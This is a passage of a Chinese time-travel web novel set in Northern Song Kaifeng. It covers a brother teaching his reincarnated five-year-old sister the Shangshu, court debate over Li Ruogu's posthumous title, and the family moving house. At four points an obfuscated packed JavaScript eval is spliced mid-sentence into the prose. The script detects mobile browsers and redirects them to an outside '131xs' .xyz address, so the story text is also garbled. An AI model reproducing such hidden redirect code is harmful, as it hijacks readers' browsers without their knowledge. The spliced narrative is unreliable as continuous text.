这个阿爷有脑子，她心中赞许。行伍出身的他虽不通文墨，却晓得珍本典籍、名砚古墨才是官场进阶的敲门砖。这些物件于普通兵士而言不过是无用纸砚，于上官却是千金难求的雅物。在士族把控典籍流通的年代，一部孤本经书、一方名家砚台，远比妇人妆奁里的金钗玉佩更能打动文官的心。正如士大夫将书斋视为身份象征，那些看似素净的笔墨纸砚，实则是比金玉更贵重的“雅贵之物”，就是文人圈子里的顶级藏品，不显山露水，却暗藏千金价值。 反观妇人闺中首饰，看似璀璨，实则多有赝品，当家主母往往需变卖真品贴补家用，供丈夫购置字画碑帖充作雅好。在这个“万般皆下品，唯有读书高”的世道，装点书斋的风雅，远比妇人头上的金珠更能彰显门庭地位。 可惜了，她心中长叹，她阿爷还是缺点运气，赏识他的将领在北伐中殒命，正值壮年的他又在乱战中伤了左臂，不得不退居后勤，掌管军资调度。相较之下，父亲的际遇却颇有些峰回路转：虽说被轮换至西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15500241|170310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 北与西夏对峙，却恰好避开了三川口、好水川两场全军覆没的恶战。他所在的景泰军看似是被边缘化的杂牌部队，却以五千兵力打出了庆历二年唯一一场野战大捷，在宋夏战局中硬生生撕开一道缺口。 刚刚被她爹带着先一步来了新家，她一路缠着缠着问了好多问题：为什么要搬家？哥哥读书怎么办？是不是爹爹升官了？她爹虽未明言，却难掩眉梢喜色。 见兄长抱着书箧进门，吴悦立刻化身小尾巴，亦步亦趋地跟在正整理书牍的吴夏身后。她默不作声，乌溜溜的眼睛只顾盯着哥哥的动作——吴夏在擦拭书橱上层的经籍时，她便蹲下身规整下层的草稿纸；待哥哥打了盆清水，用软布轻拭多宝槅子上的陶俑、奇石与微型兵器模具，她又蹬蹬蹬跑去取来一块小绢帕，半跪着擦拭多宝槅旁的圆形花几。这花几生得别致：三弯脚曲线夸张，几面略高，正中央摆着一盆盛放的豆绿，青绿色花瓣层层叠叠，在日光下煞是清雅。 吴夏瞧得心惊肉跳，生怕那比妹妹脑袋还大的花盆不慎‘啪’一声地掉在这小丫头脑袋上，他养那么大的一个妹妹可就没了！ 搁下手中的抹布，吴夏将小丫头轻轻抱上圈椅，与她并坐在乌木书案前，翻开案头《尚书?舜典》，打算从上次未讲完的段落继续。 他一个刚及弱冠的少年，本就不通蒙学之道。虽说自己当年是从《千字文》《百家姓》《蒙求》开蒙，但那些堆砌字句的课本实在乏味，儿时被夫子戒尺责打背诵的记忆仍历历在目。索性抛开蒙学教材，直接依照自己在县学的功课，将教谕先生讲解的《尚书》《论语》等篇章，拣选浅近者讲与妹妹。其实他在甲班学业渐趋疏懒，课堂上不过敷衍听讲，下课后便窝在学舍读些野史——若不是每逢旬假、寒食、冬至归家，被妹妹缠着追问“今日学了什么”，怕是连“良”等课业都难以维持。未曾想这般兄妹间的问答往来，反倒让他对学业生出几分兴味，还因为教会了妹妹带来了极大的满足感，甚至也对学堂上学习的内容理解更深了。 如果按照现代儿童教育实践来理解，这就是当孩子重述所学内容，能有效提升学习兴趣并加深理解，这主要基于自信与成就感的增强、促进了知识内化、又提升表达能力，锻炼了思维能力。 吴悦一个心智成熟的成年人，理解和接受能力很强。她出生前，大姐丽娘已及笄出阁，未满三岁，二姐绮娘亦嫁作他人妇，没有其他姐妹可以对比借鉴。来自后世的她也没觉得像男子一样学习《尚书》有什么问题。至于吴夏，他俩姐姐学什么他怎么知道那个时候他还在满院子撵鸡赶狗呢。 他们兄妹俩人，吴夏从未想过“女子不该读《尚书》”，吴悦也未觉得“跟着哥哥学经义”有何不妥。一个敢教一个敢学，浑然不觉此举已悄然逾越了性别的樊篱。 5. 第 5 章 仁宗朝虽未如后世程朱理学般构建严密的女性规训体系，但女性教育仍被限定在“闺阁之内”：平民女子多以口传心授习持家之技——母亲或祖母会借“孟母教子”“乐羊子妻断机”等典故阐释妇德，伴以《采茶歌》《织妇怨》等民谣传授农桑知识；女童五六岁便随长辈学纺线织布、裁衣售绣，在实践中掌握量布算帐、料理家务的生存技能。 高门闺秀的启蒙则从《千字文》《百家姓》始，继而临摹卫夫人《笔阵图》研习楷书。宋代女训强调“字迹端丽以示端庄”，故禁习狂草等放诞书体。诗词教育侧重唐诗中咏物、抒怀之作，如王昌龄《采莲曲》、李益《江南曲》，但需剔除李白《妾薄命》、杜甫《兵车行》等涉及男女情爱或政治讽喻的篇目。算术学习以九章基础为纲，着重训练钱粮出入、田亩换算，为日后“主中馈、理庖厨”做准备。 至于“四般闲事”，实为高门女子的“社交必修课”。按洪刍《香谱》调配“篆香”“印香”，于晨昏诵读时熏燃；依蔡襄《茶录》研习“七汤点茶法”，在茶沫击拂中讲究“色泽鲜白、汤花匀细”；插花必遵“清、疏、淡、雅”之则，如以梅枝配雪柳插于胆瓶，或用竹篮盛菊置于香几；挂画多选山水小品或圣贤像，与焚香、点茶、插花共构“闺阁清供”，既为修身养性，亦作宴客时的雅趣谈资。 少数士族门阀的女子，尚可接触有限的典籍与技艺。如聘画师教授《宣和画谱》中的白描技法，临摹花鸟草虫；或如司马光家中女眷，可在族内女塾中翻阅《资治通鉴》，但仅限“后妃列传”与“贤母教子”等篇章——这已是当时女子能触及的“最高级历史读物”，美其名曰“借古鉴今以修妇德”。 “象以典刑，流宥五刑，鞭作官刑，扑作教刑，金作赎刑。眚灾肆赦，怙终贼刑。钦哉，钦哉，惟刑之恤哉！”吴夏以朱笔圈点《尚书》句读，先正襟危坐地诵读两遍，继而逐字拆解：“‘象以典刑’，是说将五刑之形绘于器物以示警戒；‘流宥五刑’，指用流放宽宥应受五刑之人……”他刻意放缓语速，将佶屈聱牙的上古汉语转译为汴京官话，末了总结：“此段讲的是舜帝制定刑罚，强调量刑要审慎，对过失犯罪可赦免，对惯犯则严惩。” 这种“注音—释义—串讲”的三步法，已是兄妹间默认的教学范式。吴悦曾半真半假地抱怨“讲课像念天书”，吴夏便依照县学里教谕讲解策论的法子，自创了这套通俗化教法。待妹妹复述完大意，吴夏又把学堂上教谕先生问他们的问题，也拿了出来。 教谕便是主持县学教务，讲授儒家经典（以《五经》《论语》《孟子》）的老师。县学还设有训导一职，来协助教谕管理学生纪律，监督日常礼仪。 北宋很重视文教，县学作为地方最高官方教育机构，对教师选拔也颇为严格，需要至少通过解试（州试）获得举人身份，但实际多由进士出身者（也就是殿试）担任，且会经过正式的朝廷任命，经由礼部核准后，由吏部签发“教谕牒”。杰出教谕可转任县丞、主簿等职，朱熹就曾任同安县主簿兼县学教谕。优秀者还会被调入国子监为学官，比如二程中的程颢曾任鄠县主簿兼教谕，后升国子监太子中允。 南阳历属大郡，其地自西周时属荆州，号“周土”。春秋为楚宛邑，为全国著名的冶铁中心。战国后期为秦所占据，秦昭王初设南阳郡。秦始皇统一六国之后，“迁不轨之民于南阳”，使六国富豪和擅长经营的商人及手工业者云集南阳，促进了南阳经济的发展，尤其冶铁业，成为全国冶铁中心。 东汉时更盛极一时，光武帝刘秀起兵南阳，被称为“帝乡”，二十八功臣中竟有十一人出自此间。“娶妻当得阴丽华”的光烈皇后阴丽华，为春秋时期名相管仲的后裔。东汉“六后临朝”中的最贤者，被史学界誉为“皇后之冠”，时人颂曰“兴灭国，继绝世”的和熹皇后邓绥也出生于此。 因此南阳县学的配置十分豪华，吴夏口中的教谕先生，石擎，字沐阳，是景祐二年进士出身，为“泰山学派”创始人，徂徕先生石介的族弟。他一向对这位沐阳先生很是追崇，对方会在讲解完经典后，结合时政问他们如何看待。也会拿出各县衙真实案件，命生员据律条拟判，再逐一批驳辨析。此等将经典义理与实务结合的教法，在偏重记诵的县学中堪称独树一帜。只要日课排到这位教谕，吴夏必定是心无旁骛、全神贯注。 望着妹妹亮晶晶的眼睛里泛着求知的光，吴夏沉吟道：“上月前参知政事、资政殿大学士、以太子少傅致仕的李若谷李公薨逝，如今朝堂正议追赠官阶与赐谥之事。有御史言李公在任时用法严苛，哪怕小过亦重罚不贷，全无儒家‘仁恕’之风，反类汉之郅都、唐之来俊臣等酷吏，故主张停追太子太傅之衔，且‘康靖’二字谥号亦需重议。” 参知政事？吴悦心中一惊——这可是与同平章事、枢密使并称“宰执”的要职！ 李若谷，字子渊，真宗咸平三年进士，历仕真宗、仁宗两朝，早年任京东路转运使，后以刑部员外郎知江宁府，因善断疑狱著称。宝元元年（1038）拜参知政事，与宰相吕夷简同议国政，三年后以耳疾乞退，罢为资政殿大学士、吏部侍郎，以太子少傅致仕，居东京私第凡三载，今春薨于正寝。 在宋太祖赵匡胤时，为分割宰相权力，故在宰相，也就是同平章事下设参知政事，为宰相的副职，可以进入政事堂议政，有时候的实际权力大致等于宰相。资政殿大学士就是一种荣誉性的职衔，授予辞职的宰相或者其他重臣，为皇帝询问朝廷的一些重要事务提供咨询和建议。 吴悦小身子倏地坐直，乌溜溜的眼睛紧盯着兄长的下文。 “他们给的理由是，李少傅在担任潭州知州时处理水贼过于血腥，全然不顾儒家仁政、爱人之训。” 曾经有这么一个水贼在洞庭湖附近抢劫船只，杀人后又抛尸湖中。被捕获后，本应判处死刑，但最终只是脸上刻字发配外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15500242|170310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地。结果没多久，这个水贼逃了回来，继续作恶，且更加嚣张，令周边百姓胆战心惊，白日都不敢出门。李若谷派人将其抓获，召集百姓前来观刑，列明罪状后当街将他分【尸】。 “李太傅又没做错！”吴悦捏起小拳头，小脸蛋被气的红扑扑地。“那个水贼杀人还抛尸，本来就该受极刑，被从轻发落了还不悔改。居然还敢再度回来作恶，如果这次再放过他！谁知道下一次他又杀的是谁！‘眚灾肆赦，怙终贼刑’，不就应该适用在这个人身上吗？这种终不悔改者，绝对不能再放过！” 她在现代就最烦那些动辄替受害者原谅加害者的“圣母”。这类人擅长用道德绑架他人，将“原谅”美化成至高无上的美德，要求受害者必须具备这种“高尚品质”，甚至把“不原谅”等同于心胸狭隘。 她不行，有仇不报，心魔难消。与其委屈自己，不如直接发疯。 吴夏却被妹妹这一番高亢激昂的话惊得愣住了。乖乖，他印象里乖巧可爱的妹妹哪儿去了？难不成原本竟是个藏着利爪的小母虎？ 气氛有些微妙。 不好。 吴悦也意识到自己刚才那番话远超出5岁孩童的口吻，立刻开始补救。她抿着嘴挤出哭腔，奶声奶气道：“我、我就是害怕呀……那个坏人被流放后要是跑到咱们家，把悦娘偷走扔进湖里可怎么办？娘说女孩子不能下水，悦娘不会游泳，掉进去会被淹死的，就再也见不到爹娘、姐姐和哥哥了……”说着说着，眼眶真的泛起水光，吧嗒吧嗒落了几滴眼泪。 吴夏无奈叹气，将妹妹抱进怀里，轻轻拍着她的后背安抚：“别怕别怕，哥哥和爹爹都会武艺，而且悦娘现在可是在东京城，这可是天子脚下，有官家坐镇，再是安全不过了。” 放屁。 吴悦只能在心里骂骂咧咧，再过些年，金兵都能杀进东京城，那可是遍地尸骸，残垣断壁。 不过她那时都八十好几了，活到这把年纪若再遭此劫难，倒不如一头撞死算了。 但是不可以！她大姐姐刚怀上二胎，这个蠢哥哥过几年也要结婚生子。 那她还是选择金兵还有那些煞笔官员死！ 吴夏隐约觉得妹妹嘟囔了些什么，却没听清。正侧耳细听时，怀中传来闷闷的声音：“那最后李少傅的事怎么说了？” 吴夏松了口气，看来是不哭了。“在欧阳大人与杜大人据理力争下，李少傅被追封为太子太傅，谥号康靖。” 哦，六一居士欧阳修和倒霉蛋‘百日宰相’杜衍啊。 “他们是好人。”吴悦嘟囔着。就是《醉翁亭记》太长了，背着头疼。 吴夏点头赞同，他一个武官之子，爷爷和爹爹干的都是刀尖上舔血的营生，浑身带着江湖草莽气，压根不觉得当街分个尸是个什么大事。“两位大人自然是朝中大贤。” “书本合上，我们该练字了。” 他决定进入下一项课程。 6. 第 6 章 夜幕渐渐低垂。 前院之中，待三辆牛车上的物品全数卸下，众人只将急用的日常用品和被褥先行妥善收进各房，剩余物件暂摆在侧厅，留待明日再做整理。 刘耘娘唤路伯取来十几贯钱，递给三名车夫作为车资，又差路与去寻水夫买水。她刚想喊青枣陪自己出去购置些吃食，忽闻敲门声起——来者是附近正店的伙计，提着两大箱食盒上门送饭。 原来大女儿丽娘早料到刚迁入新居尚未开灶，特意订了三日的午膳与晚膳。 刘耘娘让伙计将食盒提至饭厅，又命人把路上剩下的炊饼取出，这才转身往后院去。她先到上房请了婆母，让王婆搀扶着前往饭厅；再往东厢房寻女儿未果，便径直来到儿子书房，只见女儿正伏在案前，在哥哥的指点下练习大字。 “悦娘这般勤学，日后怕要嫁个进士老爷呢。”耘娘抱起小女儿，随意瞥了眼书案上刚写就的、墨迹尚未洇干的几个大字，她虽不大懂书法，却觉得横竖撇捺皆合心意。 这般调侃远超五岁孩童的理解，吴悦只得奶声奶气地仰头追问：“什么是进士？” 得到的却只是亲娘和亲哥的哈哈大笑。 “那我也努力读书，广结饱学之士，趁早给悦娘挑个好郎君。”吴夏望着妹妹笔下初具模样的颜体字，颇为自得。起笔藏锋、收笔顿挫皆有章法，到底是他手把手教出来的。 仁宗朝官吏多爱雄浑刚正的颜体，其筋骨端正暗合儒家“浩然之气”，县学夫子亦要求学子临习颜真卿法帖，谓其于科举有益。吴夏虽生性粗放急躁，却独爱搜罗闲书野史，每逢妙趣章节必工笔抄录，结集成册。他对自己的“珍藏版”苛求至极，稍有结体松散或线条浮滑之处，便撕毁重写。这般精益求精，竟让他硬生生磨出一手端方的颜体字，与脾性形成奇妙反差。 夏小郎对他妹妹悦小娘的教导在这里又劈叉了。按常理，女子习字当效法卫夫人的秀逸楷书，他却将她引向了朝堂重臣惯用的、方正雍容而庄重大气的台阁体。 吴悦倒也没觉得有什么不对劲的地方，她还以为形容女子书写时的蝇头小楷，笔致娟秀，就是把字写小点，从16号字体改成11号字体。 作为武夫之后，夏小郎这一辈才算开了读书的路子。他既不受礼教纲常的束缚，也不拘泥于文坛规训，打心底里觉得：自己能学的妹妹也能学，自己敢做的妹妹也能做。这般念头埋下后，竟成了兄妹间心照不宣的默契。妹妹要去秦楼楚馆一探究竟，他便替她乔装改扮；妹妹想骑马打猎，他便牵马执鞭随行；哪怕妹妹闹出杀人埋尸的事，他也只默默清扫痕迹，半句“女子该逆来顺受、淑质贞亮”的废话都不曾劝过。 大可不必，你还不如是个天生将才，能打穿草原的那种，现在看来也没这个天赋，吴悦只能默默腹诽。 可惜，就算她哥是卫青，也必须通过裙带关系抱着宋仁宗的大腿去打战，纵有千般谋略，也难敌朝中“无兵可调、无粮可支、无钱可拨”的困局。何况如今并非东汉末年或五代十国的乱世，哪里来的人和地盘让她发展。 刘耘娘将两个孩子从书房唤出，在丈夫面前大大夸赞兄妹二人兄友妹恭，尤其着重提及儿子立志发奋读书，称“日后要让妹妹从自己的挚友中任选佳婿”的志向。这番话让吴父不禁认真端详起两个孩子：尤其是小女儿眉间已隐隐透露出三分灵慧之气，恰似明珠初露微光，令他心中暗忖起女儿的未来。 被她爹看得有点毛毛的，吴悦忙回以甜甜的微笑，头一扭便坐到饭桌前，装作饿得狠了，拽着青枣的袖子撒娇要糕点吃。 吴家一家五口，加上管家路伯、儿子路与，还有王婆与青枣，一同享用了在东京城的第一顿晚餐。 路伯年轻时是个无父无母的小乞丐，听闻军营管饭便摸去了驻地，恰巧被吴老爷子撞见，便将他收留照顾。那时吴老爷子在书房里收刮珍宝，他便在门外站岗守护，只听他吴大哥一人的话。后来征讨契丹，路伯不慎被战马惊踏，多亏吴老爷子从马蹄下将他救起，自己却断了一条胳膊。经此一劫，路伯对吴老爷子死心塌地，成了吴家的管家。吴温老爷子去世后，吴军常年在西北驻防，家中妇孺全靠路伯带着儿子在外奔走照应。 王婆是刘耘娘从娘家带来的老妇，原是吴悦外婆的陪嫁。当年外公停妻再娶纳了妾室，又嫌吴家乃武人出身，不愿给女儿添妆，便将王婆的身契交还给了刘耘娘。青枣则是王婆弟弟的孙女，因家中女孩众多难以糊口，自小就被送到吴家抚养。 今夜膳席上俱是至亲旧人——乡野人家本就没有主仆不同席的规矩。所谓“独木易摧，众木成林”，与高门士族一样，市井小民亦有应对风险的生存智慧。这是历经五代十国连年战乱，在烽烟中锻造出的庶民存续之道：黄发垂髫共饮一井水，青壮妇孺同守三尺垣。 吴悦人小胃口窄，只吃了半碗桐皮熟脍面，再添两块枣糕，小肚子便鼓得溜圆。她搁下汤匙，眼神直勾勾地望着对面几个男的手握瓷盏斟满清酒，觥筹交错之中，欢声笑语不断，时不时还手捏了块桌上的按酒。 所谓“按酒”，就是北宋饮酒时必配的小菜，一般都是些肉干、果脯、腌菜。 吴悦盯着父亲盏中晃动的酒液直咽口水，也想浅尝一口，试试酒精浓度，却被她娘以为她口渴，喂了口紫苏饮。 吴王氏毕竟上了年纪，经此长途跋涉，食欲难免不佳。她仅喝了半碗粟米粥，便以手示意先行退席。青枣见状，忙不迭起身搀扶着老夫人回房服侍。 酒酣耳热间，女眷已陆续离席。刘耘娘催着小女儿去歇下，自己则看着丈夫与儿子仍在席间谈兴正浓，便由着他们去了。 待收拾完狼藉的膳桌，耘娘带着王婆绕院落巡查了一圈。从倒门房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15500243|170310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 管家路伯父子的居所，都一一过问是否有缺漏之处。 待诸事妥当，耘娘才返回后院。先至婆母房前问了安，又往东厢房查看女儿是否已安睡，最后到西厢房叮嘱儿子明日卯初起身，随她出门采买家用。 月已当空时，她才拖着疲累的身子回房。 一进屋便闲不住，将丈夫的旧衣按季候分门别类叠好收进柜中。忽的想起什么，转身向侧躺在床榻上的丈夫问道：“官人，这宅子究竟租了多少银钱？” 吴军闻言大笑，得意地摩挲着络腮胡，眉峰一挑：“娘子，这宅子咱们可是买下来的，并非租赁。” 耘娘听罢大惊，这可是两进的宅院！丈夫如今不过是正七品的指挥使，按官制，唯有正六品以上武官方能居住两进院落，此等门屋规格已是明显逾制。若说租赁尚可敷衍，若是购置，在这天子脚下难免招人侧目。 在仁宗朝，像吴大郎这样的禁军指挥使，俸禄由月俸、职田与朝廷赏赐构成。月俸为30贯铜钱，另可支取5顷职田（约合500亩）的租税收益，年总收入折铜钱约600至800贯。相较之下，普通禁军士兵月俸仅1贯，而从五品的都指挥使年俸可达2000贯以上。因当时铜钱短缺，民间实际流通中“一贯”仅合770文，并非足值千文。 此时东京城的物价：米价约1贯/石（每石重59公斤），羊肉100文/斤，猪肉60文/斤，普通绢帛1.5贯/匹，高档丝绸则需5贯/匹。而内城一套普通住宅，售价至少5000贯。 “你莫不是把公公留下的那些珠宝典卖了？”想到这个可能，耘娘猛地放下手中衣物，转身用力捶了下丈夫的肩膀，“那是咱们说好给孩子们留着办嫁娶的！” 吴温老爷子当年可是打过不少硬仗，尤以南唐一役斩获颇丰。 南唐国力富庶，后主李煜投降后，宫中所藏珍宝——诸如澄心堂纸、李廷圭墨（与龙尾砚、诸葛笔并称“文房四宝”，为南唐至北宋的御用贡品），及国库内二百万两之巨的金银财货，皆被清点后分船运往东京，纳入皇家内藏库。史载装运时舟船盈河，往返数趟方得运完。 虽说北宋承袭五代《军资库法》，明令战场缴获须尽数上缴中央军资库，严禁私留，更有律法规定“诸军人从军私留财物者，一尺杖八十，一匹加一等”，但金陵城破时，“士卒怀挟珠玉者不可胜计”，事后竟无一人被军法论处。 吴温素性机敏，早防着身边监军的耳目。攻入南唐皇宫那日，他故意大剌剌抓了几锭官银悬于腰间，任人看见，实则早与路伯备下双层束带行囊，将精选的玉器字画贴身裹于腹前，外覆厚重甲胄。每逢用餐便多揣两个炊饼塞在怀里，久而久之，同袍见他腰腹浑圆，只道是军粮充足养胖了。待战事稍歇，他又以“回乡完婚”为由告假，实则是要将这些私藏的珍宝捎回老家，交与吴寡妇收存。 7. 第 7 章 “确实卖了一个大珍珠，不过那是你本来打算留给咱们未来儿媳的，给悦娘的我可没卖！”吴军连连摇头，又细细向媳妇算起这笔账。跟随景泰对战西夏时，他们斩首千余级，打了当年唯一的胜仗。自宋太祖起，按“先登者赏钱百贯，斩首一级赏钱十贯”的标准犒军，加上回京后仁宗额外的赏赐，这一场战役就足足拿了1200贯。本来不卖那颗珍珠也够，但新宅要置办家具，手头就捉襟见肘了。 耘娘却觉得珍珠卖了就卖了，反正离儿子成亲还早，这几年他们再加把劲，多存些银钱便是。给小女儿留的那只绶带鸟穿花纹金手镯和掐丝镶玉嵌宝金簪，可是万万卖不得的——这种工艺，如今在市井中可是价值千金，给悦娘出嫁时压箱底正合适。 “这个宅子也是卖家卖得急，又恰与咱们大女婿相熟，我这才没顾上与你商量，就把珍珠在潘楼出手了。”吴军忙活整日已显困顿，不愿多言，径自起身吹熄烛火，一沾枕头便鼾声如雷。 耘娘本欲问丈夫官职迁升之事，见他这般模样只得作罢。她侧躺于床内侧，心中默默盘算明日要务：先让王婆收拾厨房，差路与去采买柴薪，总得备些热水用度；再遣人往大女儿家送信，告知女婿与亲家入京安好，只是家中尚未整肃，待安顿停当便登门拜访。 带着初到异乡的一丝不安，及对新生活的殷切期盼，耘娘很快坠入梦乡。 辰时三刻，青瓦檐角犹自凝着未晞的晨露，吴宅上下已早早起了劳作。 吴悦不过五岁女童，尚不及成人膝头高，稍不留神便不知卷到何处去了。为防她今日磕碰受伤，刘耘娘特意将她关在房内。 “量你有张良计，我自有过墙梯。” 踩着榆木矮凳攀上屋内花窗，靛蓝裙摆蹭得雕花窗框簌簌落灰，吴悦却浑不在意。她指尖紧扣缠枝莲纹的窗棂，像只执着的小松鼠般向外张望。昨日先行抬至侧厅的木箱，此刻正横七竖八堆放在后院，箱盖全开以便清点物品。桂圆手持搬家时誊录的清单，正逐件核对。 搬家放在现代都是一件麻烦事，更不要说古代。古代家庭的物品数量多且种类杂，桌椅床榻、衣衫布帛、典籍文玩、日用杂物皆需搬运。偏生又没有现代的搬运工具，木箱都需要提前手工制作，木料厚重坚实，单是空箱便需两人合抱。装箱时更要逐件细裹：易碎的瓷盏以棉帛层层缠绕，再衬以稻草塞入箱底，书籍信函则用布囊分类收束，以防受潮虫蛀。这般耗力费时的活计，稍有不慎便会遗漏破损，是以必得造册登记，方便日后逐件清点。 管家路伯正指挥两名雇来的精壮仆役，合力抬一口四尺长的柏木大箱。 “脚下留神！箱里可是汝窑的青瓷！”他的嗓音带着晨起的痰音，布满老茧的手掌虚虚护在木箱边角，生怕磕着碰着。 这套瓷器吴悦还记得，箱中那套青瓷里，有只碟盏是她幼时失手磕碰过的，边缘还留着一道细如发丝的裂痕。 那时的物件，传个三代实属寻常。一来用料讲究，全赖匠人手工细磨，不像后世多有以次充好；二来即便生产工具日益精进，也鲜少有人将旧物随手丢弃。坏了便扔、淘宝下单的做派，在此时简直不可想象。现代人反倒美其名曰"计划性报废"，声称耐用之物会让消费者停止购买，唯有推陈出新才能拉动内需，因此总是会给你留一些小瑕疵，让你不断购买去迭代升级。 但在古代——椅子腿断了？要劈了做柴？简直败家！寻个木匠修缮便是。 碗破了？补补照样能用。什么？你嫌破碗晦气，说是什么"乞丐用的"，难不成还真把自己当贵家公子了？ 古时的工匠，也的确是精益求精，她兄长吴夏就曾在一家旧货摊上购买墨锭。 摊主的祖父据传是吴越国时期的老墨工，老人颤巍巍捧出祖传的捣墨锤，自豪道：“这是五代十国时先祖传下的手艺，您瞧这墨锭收在木匣里能存百年不褪色，够您孙子辈使呢！”吴夏被这番营销说辞打动，不仅买了两块，还特意替妹妹存了一块，说留待她日后抱孙时用。 百年的墨锭这也不是虚假宣传，不少士族文人的端砚上积着层层墨垢，最底层的墨痕竟能追溯至唐代。这些雅士以使用李白、杜甫等先贤曾用的旧墨书写为幸事，仿佛透过斑驳墨渍，便能触摸到跨越千年的文运传承，也能成为下一个诗仙。 只是不知，墨肆老板面对积压的新墨时会如何发愁，作坊里熬制松烟墨的桐油即将干结，新制的墨锭却无人问津。 刘耘娘在卧室内指挥王婆往樟木箱底铺撒香樟木屑，将冬季衣裳按夹棉、厚缎、皮裘的厚薄，叠成方正的绢包依次码放整齐。她从红绫裹了三层的珠宝盒里取出耳饰珠钗，一一归置到妆台抽屉，连胭脂水粉都用浸过蜡的桑皮纸仔细封裹，才放进朱漆妆匣。 “怎么少了箱中的春衫？快去叫青枣再寻一遍。”她捏着一匹江宁府锦缎叮嘱，“这料子得单独收在紫檀柜里，过两年给悦娘裁衣裳正合适。须得常翻晒，莫让虫蛀了或着了霉斑……” 话未说完，外院忽有刀刃轰然坠地，铁刃与青石砖相击迸出火星，惊得墙头野狸猫“喵”地一声逃窜跑开。 前院西角腾出来的空地上，两名身穿普通禁军兵卒军服的士兵正合力搬运一重达几十斤的兵器架，其中一个踉跄不稳，十几斤重的手刀轰然坠地。原来吴父早早就去了军营，唤辖下士兵将自己常用的手刀和弓箭和靶心等一众物品从营地兵器库搬回家中，他虽然并不打算让独子从武，但是强身练体还是应该的。 "指挥使恕罪！"摔倒的小兵连忙爬起身，拾起地上的马刀，见刀炳处缠着的牛皮绳染着褐色血渍，背后顿时又起了一身冷汗。 吴军扫了小兵一眼， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15500244|170310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 未作苛责，单手提起重达三十斤的马刀，手腕轻旋挽出个刀花，只听“铮”的一声便将刀身稳稳磕入兵器架的铜扣中，这才沉声道：“把架子抬去西墙根，立好箭靶便回营吧。” 以近午时，阳光掠过前院，马刀和弓羽在青砖上投下交错的阴影。 吴夏今日也在帮忙整理物品，蹲在墙角收拾散开的箭羽，忽然发现某支箭的箭镞上凝着褐色血渍。他抬起头望向站在兵器架旁的父亲，耳畔似乎传来铁马嘶鸣，恍惚中还能看到父亲在战场上冲锋陷阵，闻到铠甲缝隙间渗出的丝丝鲜血的腥味。 吴军被儿子眼中明晃晃的仰慕刺得心头一热，顿时洋洋得意起来，挺了挺大肚子，还想把马刀拿下来再挥舞个刀法，收获点掌声时，突然又想到了武官被人歧视的地位，想到了他堂堂一正七品，还要向正九品的文官行礼，刚扬起的嘴角又耷拉下来，到嘴边的话也变成了“日后还是要以读书为主，射箭骑马只是让你强身健体。好了，别收拾了，回你的房间读书吧。”长叹了口气，背着手，转身进了前厅。 吴夏也沉默了下来，手指无意识地摩挲着那支带血的箭镞，他现在已经不是小时要哭闹着要随父一起征战的稚童，了解父亲身为武将的心酸，因此朝着父亲的背影行礼，将箭镞拿在手中，也回了书房。 酉时末刻，最后一缕夕阳将东厢房的窗棂染成琥珀色。吴悦这时才得到恩准，被青枣从屋子里放了出来，就迈着小短腿踢踢踏踏往库房跑。已经腾空的木箱按尺寸高低码成整齐的方阵，铜扣泛着幽光，像夜空里疏密有致的星子。最里侧的墙角处，还有俩个箱子未被打开，上面贴着两张封纸，"悦娘的宝贝"，正是她自己稚嫩的笔迹。 这是从老家带来的赚钱的好东西，是得到一千年时间验证的人类智慧的结晶！不过她娘认为，这就是一些破烂。要不是她又哭又闹，地上连番打滚，东西早被扔了。 吴悦蹲在木箱前，小手掌郑重其事地拍了拍箱盖。这里藏着她磨了哥哥半个月才从书肆淘来的"宝贝"，最底下压着两卷被翻得卷边的书籍：一卷是贾思勰的《齐民要术》，另一卷是张仲景的《伤寒杂病论》。 在这个男权至上的封建社会，她也只能在幼时获得更多的容忍，待长到十四五岁，怕不是只能乖乖在家备嫁。 如今就是拉拢"贵人扶持"，进行创业的大好时机。 她扳着肉乎乎的手指头在心里盘算：谁会无条件纵容她的奇思妙想？谁能在她闯祸后默默收拾烂摊子？谁是她荣辱与共的好伙伴？ 